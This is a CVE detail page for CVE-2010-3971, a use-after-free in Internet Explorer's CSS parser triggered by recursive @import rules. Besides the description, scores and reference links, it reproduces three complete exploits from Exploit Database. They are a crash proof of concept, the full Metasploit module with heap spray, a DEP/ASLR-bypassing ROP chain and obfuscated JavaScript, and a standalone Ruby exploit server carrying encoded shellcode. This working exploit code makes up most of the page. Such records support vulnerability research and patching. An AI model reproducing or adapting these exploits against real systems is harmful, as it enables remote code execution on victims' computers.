CVE-2010-3971 : Detail

CVE-2010-3971

85.81%V4
Network
2010-12-22
19h00 +00:00
2018-10-12
17h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Use-after-free vulnerability in the CSharedStyleSheet::Notify function in the Cascading Style Sheets (CSS) parser in mshtml.dll, as used in Microsoft Internet Explorer 6 through 8 and other products, allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via a self-referential @import rule in a stylesheet, aka "CSS Memory Corruption Vulnerability."

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 15708

Publication date : 2010-12-07 23h00 +00:00
Author : WooYun
EDB Verified : Yes

<code> <div style="position: absolute; top: -999px;left: -999px;"> <link href="css.css" rel="stylesheet" type="text/css" /> </code> <code of css.css> *{ color:red; } @import url("css.css"); @import url("css.css"); @import url("css.css"); @import url("css.css"); </code> Exploit-DB Notes: * Original credit goes to an unidentified researcher using WooYun anonymous account "路人甲". WooYun is a connection platform for vendors and security researchers: http://www.wooyun.org/bugs/wooyun-2010-0885 * Dec 22, 2010 - Microsoft releases security advisory for this vulnerability: http://www.microsoft.com/technet/security/advisory/2488013.mspx
Exploit Database EDB-ID : 16533

Publication date : 2011-02-07 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: ms11_003_ie_css_import.rb 11730 2011-02-08 23:31:44Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking # Need more love for Great include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :ua_minver => "7.0", # Should be 6 :ua_maxver => "8.0", :javascript => true, :os_name => OperatingSystems::WINDOWS, :vuln_test => nil, # no way to test without just trying it }) def initialize(info = {}) super(update_info(info, 'Name' => 'Internet Explorer CSS Recursive Import Use After Free', 'Description' => %q{ This module exploits a memory corruption vulnerability within Microsoft\'s HTML engine (mshtml). When parsing an HTML page containing a recursive CSS import, a C++ object is deleted and later reused. This leads to arbitrary code execution. This exploit utilizes a combination of heap spraying and the .NET 2.0 'mscorie.dll' module to bypass DEP and ASLR. This module does not opt-in to ASLR. As such, this module should be reliable on all Windows versions with .NET 2.0.50727 installed. }, 'License' => MSF_LICENSE, 'Author' => [ 'passerby', # Initial discovery / report 'd0c_s4vage', # First working public exploit 'jduck' # Metasploit module (ROP, @WTFuzz spray) ], 'Version' => '$Revision: 11730 $', 'References' => [ [ 'CVE', '2010-3971' ], [ 'OSVDB', '69796' ], [ 'BID', '45246' ], [ 'URL', 'http://www.microsoft.com/technet/security/advisory/2488013.mspx' ], [ 'URL', 'http://www.wooyun.org/bugs/wooyun-2010-0885' ], [ 'URL', 'http://seclists.org/fulldisclosure/2010/Dec/110' ], [ 'URL', 'http://xcon.xfocus.net/XCon2010_ChenXie_EN.pdf' ], # .NET 2.0 ROP (slide 25) [ 'URL', 'http://www.breakingpointsystems.com/community/blog/ie-vulnerability/' ], [ 'MSB', 'MS11-003' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ], [ 'Internet Explorer 8', { 'Ret' => 0x105ae020, 'OnePtrOff' => 0x18, 'DerefOff' => 0x30, 'FlagOff' => 0x54, 'CallDeref1' => 0x20, 'SignedOff' => 0x1c, 'CallDeref2' => 0x24, 'CallDeref3' => 0x00, 'CallDeref4' => 0x20, 'Deref4Off' => 0x08 } ], [ 'Internet Explorer 7', { 'Ret' => 0x105ae020, 'OnePtrOff' => 0x14, 'DerefOff' => 0x5c, 'FlagOff' => 0x34, 'CallDeref1' => 0x1c, 'SignedOff' => 0x18, 'CallDeref2' => 0x20, 'CallDeref3' => 0x00, 'CallDeref4' => 0x20, 'Deref4Off' => 0x08 } ], # For now, treat the IE6 target the same as teh debug target. [ 'Internet Explorer 6', { 'Ret' => 0xc0c0c0c0, 'OnePtrOff' => 0x14, 'DerefOff' => 0x5c, 'FlagOff' => 0x34, 'CallDeref1' => 0x1c, 'SignedOff' => 0x18, 'CallDeref2' => 0x20, 'CallDeref3' => 0x00, 'CallDeref4' => 0x20, 'Deref4Off' => 0x08 } ], [ 'Debug Target (Crash)', { 'Ret' => 0xc0c0c0c0, 'OnePtrOff' => 0, 'DerefOff' => 4, 'FlagOff' => 8, 'CallDeref1' => 0xc, 'SignedOff' => 0x10, 'CallDeref2' => 0x14, 'CallDeref3' => 0x18, 'CallDeref4' => 0x1c, 'Deref4Off' => 0x20 } ] ], # Full-disclosure post was Dec 8th, original blog Nov 29th 'DisclosureDate' => 'Nov 29 2010', 'DefaultTarget' => 0)) end def auto_target(cli, request) mytarget = nil agent = request.headers['User-Agent'] #print_status("Checking user agent: #{agent}") if agent !~ /\.NET CLR 2\.0\.50727/ print_error("#{cli.peerhost}:#{cli.peerport} Target machine does not have the .NET CLR 2.0.50727") return nil end if agent =~ /MSIE 6\.0/ mytarget = targets[3] elsif agent =~ /MSIE 7\.0/ mytarget = targets[2] elsif agent =~ /MSIE 8\.0/ mytarget = targets[1] else print_error("#{cli.peerhost}:#{cli.peerport} Unknown User-Agent #{agent}") end mytarget end def on_request_uri(cli, request) print_status("#{cli.peerhost}:#{cli.peerport} Received request for %s" % request.uri.inspect) mytarget = target if target.name == 'Automatic' mytarget = auto_target(cli, request) if (not mytarget) send_not_found(cli) return end end #print_status("#{cli.peerhost}:#{cli.peerport} Automatically selected target: #{mytarget.name}") buf_addr = mytarget.ret css_name = [buf_addr].pack('V') * (16 / 4) # We stick in a placeholder string to replace after UTF-16 encoding placeholder = "a" * (css_name.length / 2) uni_placeholder = Rex::Text.to_unicode(placeholder) if request.uri == get_resource() or request.uri =~ /\/$/ print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} redirect") redir = get_resource() redir << '/' if redir[-1,1] != '/' redir << rand_text_alphanumeric(4+rand(4)) redir << '.html' send_redirect(cli, redir) elsif request.uri =~ /\.html?$/ # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} HTML") # Generate the ROP payload rvas = rvas_mscorie_v2() rop_stack = generate_rop(buf_addr, rvas) fix_esp = rva2addr(rvas, 'leave / ret') ret = rva2addr(rvas, 'ret') pivot1 = rva2addr(rvas, 'call [ecx+4] / xor eax, eax / pop ebp / ret 8') pivot2 = rva2addr(rvas, 'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret') # Append the payload to the rop_stack rop_stack << p.encoded # Build the deref-fest buffer len = 0x84 + rop_stack.length special_sauce = rand_text_alpha(len) # This ptr + off must contain 0x00000001 special_sauce[mytarget['OnePtrOff'], 4] = [1].pack('V') # Pointer that is dereferenced to get the flag special_sauce[mytarget['DerefOff'], 4] = [buf_addr].pack('V') # Low byte must not have bit 1 set no_bit1 = rand(0xff) & ~2 special_sauce[mytarget['FlagOff'], 1] = [no_bit1].pack('V') # These are deref'd to figure out what to call special_sauce[mytarget['CallDeref1'], 4] = [buf_addr].pack('V') special_sauce[mytarget['CallDeref2'], 4] = [buf_addr].pack('V') special_sauce[mytarget['CallDeref3'], 4] = [buf_addr + mytarget['Deref4Off']].pack('V') # Finally, this one becomes eip special_sauce[mytarget['CallDeref4'] + mytarget['Deref4Off'], 4] = [pivot1].pack('V') # This byte must be signed (shorter path to flow control) signed_byte = rand(0xff) | 0x80 special_sauce[mytarget['SignedOff'], 1] = [signed_byte].pack('C') # These offsets become a fix_esp ret chain .. special_sauce[0x04, 4] = [pivot2].pack('V') # part two of our stack pivot! special_sauce[0x0c, 4] = [buf_addr + 0x84 - 4].pack('V') # becomes ebp, for fix esp special_sauce[0x10, 4] = [fix_esp].pack('V') # our stack pivot ret's to this (fix_esp, from eax) # Add in the rest of the ROP stack special_sauce[0x84, rop_stack.length] = rop_stack # Format for javascript use special_sauce = Rex::Text.to_unescape(special_sauce) js_function = rand_text_alpha(rand(100)+1) # Construct the javascript custom_js = <<-EOS function #{js_function}() { heap = new heapLib.ie(0x20000); var heapspray = unescape("#{special_sauce}"); while(heapspray.length < 0x1000) heapspray += unescape("%u4444"); var heapblock = heapspray; while(heapblock.length < 0x40000) heapblock += heapblock; finalspray = heapblock.substring(2, 0x40000 - 0x21); for(var counter = 0; counter < 500; counter++) { heap.alloc(finalspray); } var vlink = document.createElement("link"); vlink.setAttribute("rel", "Stylesheet"); vlink.setAttribute("type", "text/css"); vlink.setAttribute("href", "#{placeholder}") document.getElementsByTagName("head")[0].appendChild(vlink); } EOS opts = { 'Symbols' => { 'Variables' => %w{ heapspray vlink heapblock heap finalspray counter }, 'Methods' => %w{ prepare } } } custom_js = ::Rex::Exploitation::ObfuscateJS.new(custom_js, opts) js = heaplib(custom_js) dll_uri = get_resource() dll_uri << '/' if dll_uri[-1,1] != '/' dll_uri << "generic-" + Time.now.to_i.to_s + ".dll" # Construct the final page html = <<-EOS <html> <head> <script language='javascript'> #{js} </script> </head> <body onload='#{js_function}()'> <object classid="#{dll_uri}#GenericControl"> </body> </html> EOS html = "\xff\xfe" + Rex::Text.to_unicode(html) html.gsub!(uni_placeholder, css_name) send_response(cli, html, { 'Content-Type' => 'text/html' }) elsif request.uri =~ /\.dll$/ print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} .NET DLL") # Generate a .NET v2.0 DLL, note that it doesn't really matter what this contains since we don't actually # use it's contents ... ibase = (0x2000 | rand(0x8000)) << 16 dll = Msf::Util::EXE.to_dotnetmem(ibase, rand_text(16)) # Send a .NET v2.0 DLL down send_response(cli, dll, { 'Content-Type' => 'application/x-msdownload', 'Connection' => 'close', 'Pragma' => 'no-cache' }) else # Defines two different CSS import styles import_styles = [ "@import url(\"#{placeholder}\");\n", "@import \"#{placeholder}\";\n" ] # Choose four imports of random style css = '' 4.times { css << import_styles[rand(import_styles.length)] } css = "\xff\xfe" + Rex::Text.to_unicode(css) css.gsub!(uni_placeholder, css_name) print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} CSS") send_response(cli, css, { 'Content-Type' => 'text/css' }) end # Handle the payload handler(cli) end def rvas_mscorie_v2() # mscorie.dll version v2.0.50727.3053 # Just return this hash { 'call [ecx+4] / xor eax, eax / pop ebp / ret 8' => 0x237e, 'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret' => 0x575b, 'leave / ret' => 0x25e5, 'ret' => 0x25e5+1, 'call [ecx] / pop ebp / ret 0xc' => 0x1ec4, 'pop eax / ret' => 0x5ba1, 'pop ebx / ret' => 0x54c0, 'pop ecx / ret' => 0x1e13, 'pop esi / ret' => 0x1d9a, 'pop edi / ret' => 0x2212, 'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc' => 0x61f6, 'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret' => 0x6154, } end def generate_rop(buf_addr, rvas) # ROP fun! (XP SP3 English, Dec 15 2010) rvas.merge!({ # Instructions / Name => RVA 'BaseAddress' => 0x63f00000, 'imp_VirtualAlloc' => 0x10f4 }) rop_stack = [ # Allocate an RWX memory segment 'pop ecx / ret', 'imp_VirtualAlloc', 'call [ecx] / pop ebp / ret 0xc', 0, # lpAddress 0x1000, # dwSize 0x3000, # flAllocationType 0x40, # flProt :unused, # Copy the original payload 'pop ecx / ret', :unused, :unused, :unused, :memcpy_dst, 'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc', :unused, 'pop esi / ret', :unused, :unused, :unused, :memcpy_src, 'pop edi / ret', 0xdeadf00d # to be filled in above ] (0x200 / 4).times { rop_stack << 'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret' } # Execute the payload ;) rop_stack << 'call [ecx] / pop ebp / ret 0xc' rop_stack.map! { |e| if e.kind_of? String # Meta-replace (RVA) raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e] rvas['BaseAddress'] + rvas[e] elsif e == :unused # Randomize rand_text(4).unpack('V').first elsif e == :memcpy_src # Based on stack length.. buf_addr + 0x84 + (rop_stack.length * 4) elsif e == :memcpy_dst # Store our new memory ptr into our buffer for later popping :) buf_addr + 0x84 + (21 * 4) else # Literal e end } rop_stack.pack('V*') end def rva2addr(rvas, key) raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key] rvas['BaseAddress'] + rvas[key] end end
Exploit Database EDB-ID : 15746

Publication date : 2010-12-14 23h00 +00:00
Author : Nephi Johnson
EDB Verified : Yes

#!/usr/bin/env ruby # Source: http://www.breakingpointsystems.com/community/blog/ie-vulnerability/ # Author: Nephi Johnson (d0c_s4vage) require 'socket' def http_send(sock, data, opts={}) defaults = {:code=>"200", :message=>"OK", :type=>"text/html"} opts = defaults.merge(opts) code = opts[:code] message = opts[:message] type = opts[:type] to_send = "HTTP/1.1 #{code} #{message}\r\n" + "Date: Sat, 11 Dec 2010 14:20:23 GMT\r\n" + "Cache-Control: no-cache\r\n" + "Content-Type: #{type}\r\n" + "Pragma: no-cache\r\n" + "Content-Length: #{data.length}\r\n\r\n" + "#{data}" puts "[+] Sending:" to_send.split("\n").each do |line| puts " #{line}" end sock.write(to_send) rescue return false return true end def sock_read(sock, out_str, timeout=5) begin if Kernel.select([sock],[],[],timeout) out_str.replace(sock.recv(1024)) puts "[+] Received:" out_str.split("\n").each do |line| puts " #{line}" end else sock.close return false end rescue Exception => ex return false end end def to_uni(str) res = "" str.each_byte do |b| res << "\x00#{b.chr}" end res end @css_name = "\x00s\x03s\x00s\x03s\x00s\x03s\x00s\x03s" @html_name = "test.html" placeholder = "a" * (@css_name.length/2) @html = <<-HTML <script> function dup_str(str, length) { var res = str; while(res.length < length) { res += res; } res = res.substr(res.length - length); return res; } function to_bin(str) { var res = ""; while(str.length > 0) { var first = str.substr(0, 2); var second = str.substr(2, 2); res += "%u" + second + first; str = (str.length > 4) ? str.substr(4) : ""; } return unescape(res); } // first heap spray var base = dup_str(to_bin("0c0c0c0900000008000000730073030100000000010000730073030c"), 512+6); var arr = [] for(var i = 0; i < 60000; i++) { arr[i] = ["" + base].join(""); } // second heap spray w/ shellcode var nops = dup_str(to_bin("0c0c0c0c"), 4096+6); // windows/exec - 200 bytes // http://www.metasploit.com // EXITFUNC=process, CMD=calc.exe var shellcode = unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30" + "%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031" + "%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752" + "%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a" + "%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34" + "%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475" + "%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" + "%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424" + "%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86" + "%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff" + "%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c" + "%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5" + "%u6c61%u2e63%u7865%u0065"); var arr2 = []; for(var i = 0; i < 30000; i++) { arr2[i] = [nops + shellcode].join(""); } // write the link to the stylesheet var link = document.createElement("link"); link.setAttribute("rel", "Stylesheet"); link.setAttribute("type", "text/css"); link.setAttribute("href", "#{placeholder}") document.getElementsByTagName("head")[0].appendChild(link); </script> HTML @html = "\xfe\xff" + to_uni(@html) @html.gsub!(to_uni(placeholder), @css_name) @css = <<-CSS @import url("#{placeholder}"); @import url("#{placeholder}"); @import url("#{placeholder}"); @import url("#{placeholder}"); CSS @css = "\xfe\xff" + to_uni(@css) @css.gsub!(to_uni(placeholder), @css_name) @index = <<-INDEX <a href="#{@html_name}">#{@html_name}</a> INDEX TCPServer.open(55555) do |srv| while true cli = srv.accept req = "" html = "" css = "" index = "" next unless sock_read(cli, req, 5) while req.length > 0 if req =~ /GET/ if req =~ /GET.*#{Regexp.escape(@html_name)}/ break unless http_send(cli, @html, :type=>"text/html") elsif req =~ /GET.*index/ break unless http_send(cli, @index) elsif req =~ /GET.*#{Regexp.escape(@css_name)}/ break unless http_send(cli, @css, :type=>"text/css") else break unless http_send(cli, @css, :type=>"text/css") end elsif req =~ /QUIT/ exit() end req = "" next unless sock_read(cli, req, 5) end cli.close rescue next end end

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 7

Microsoft>>Internet_explorer >> Version 8

References

http://www.kb.cert.org/vuls/id/634956
Tags : third-party-advisory, x_refsource_CERT-VN
http://www.exploit-db.com/exploits/15746
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.vupen.com/english/advisories/2011/0318
Tags : vdb-entry, x_refsource_VUPEN
http://www.exploit-db.com/exploits/15708
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.vupen.com/english/advisories/2010/3156
Tags : vdb-entry, x_refsource_VUPEN
http://www.securitytracker.com/id?1024922
Tags : vdb-entry, x_refsource_SECTRACK
http://seclists.org/fulldisclosure/2010/Dec/110
Tags : mailing-list, x_refsource_FULLDISC
http://www.securityfocus.com/bid/45246
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/42510
Tags : third-party-advisory, x_refsource_SECUNIA